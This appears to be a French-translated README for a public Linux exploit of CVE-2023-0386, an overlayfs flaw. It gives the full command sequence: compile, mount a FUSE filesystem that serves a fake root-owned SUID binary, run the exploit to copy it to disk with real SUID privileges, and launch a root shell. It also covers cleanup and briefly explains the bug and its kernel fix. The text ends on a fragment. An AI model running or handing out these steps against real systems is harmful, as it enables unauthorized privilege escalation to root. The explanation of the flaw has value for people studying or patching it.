
Copier de faux fichiers en mémoire sur le disque en utilisant overlayFS
Source originale du CVE écrite par xkaneiki : https://github.com/xkaneiki/CVE-2023-0386/tree/main
Réécrite pour que l'exploit puisse être exécuté dans un seul shell (l'exploit original nécessite deux shells).
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin
Nettoyage
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge
findmnt pour voir les systèmes de fichiers montésfuse.c crée un système de fichiers fuse monté sur /tmp/fusepwn/lower et sert un binaire SUID factice appartenant à root. Il s'agit d'un système de fichiers en mémoire, donc nous pouvons mentir sur les permissions définies.
exp.c crée ensuite un montage overlayfs dans /tmp/fusepwn et ouvre le binaire SUID factice (/tmp/fusepwn/lower/bin). Lors de l'ouverture, cela déclenche overlayfs pour effectuer une copie ascendante (copy-up) qui écrit le binaire SUID factice sur le disque avec de vrais privilèges SUID et appartenant à root.
La vulnérabilité réside dans overlayfs car il fait aveuglément confiance aux permissions des fichiers qui lui sont fournies par le système de fichiers inférieur. Si le système de fichiers inférieur est le noyau, cela va bien (car il ne peut être manipulé sans permissions root). Si le système de fichiers inférieur peut être manipulé par l'utilisateur, ce n'est pas bon car nous pouvons mentir sur les fichiers qui s'y trouvent (comme en utilisant FUSE).
Le correctif vérifie si l'UID/GID du fichier est valide dans le namespace de l'utilisateur. Si ce n'est pas le cas, il échoue la copie ascendante.
i.e.
proc/self/uid_map